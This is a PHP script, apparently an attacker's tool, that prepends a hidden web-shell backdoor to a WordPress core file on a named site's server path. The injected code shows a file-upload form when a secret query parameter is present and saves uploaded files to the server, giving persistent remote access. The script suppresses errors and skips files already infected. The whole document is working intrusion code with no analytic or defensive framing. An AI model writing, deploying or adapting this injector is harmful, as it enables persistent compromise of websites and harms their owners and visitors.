<?php
error_reporting(0);

$target = '/var/www/www-root/data/www/cryptoearnings2020.com/wp-includes/class-wp-list-util.php';
$backdoor = '<?php if(isset($_GET["y3191hik"])) { echo "<form method=\"POST\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"file\" /> <input type=\"submit\" value=\"upload\" /></form>"; move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]); exit(0); } ?>';

// Check if file exists
if (!file_exists($target)) {
    echo "ERROR: File not found";
    exit;
}

// Read current content
$content = file_get_contents($target);
if ($content === false) {
    echo "ERROR: Cannot read file";
    exit;
}

// Check if backdoor already exists
if (strpos($content, 'y3191hik') !== false) {
    echo "ALREADY";
    exit;
}

// =============================================
// INJECT BACKDOOR - ORIGINAL <?php REMAIN INTACT
// =============================================

// Backdoor already has <?php, add it ABOVE original content
$new_content = $backdoor . "\n" . $content;

// Write back
if (file_put_contents($target, $new_content)) {
    echo "SUCCESS";
} else {
    echo "ERROR: Cannot write file";
}
?>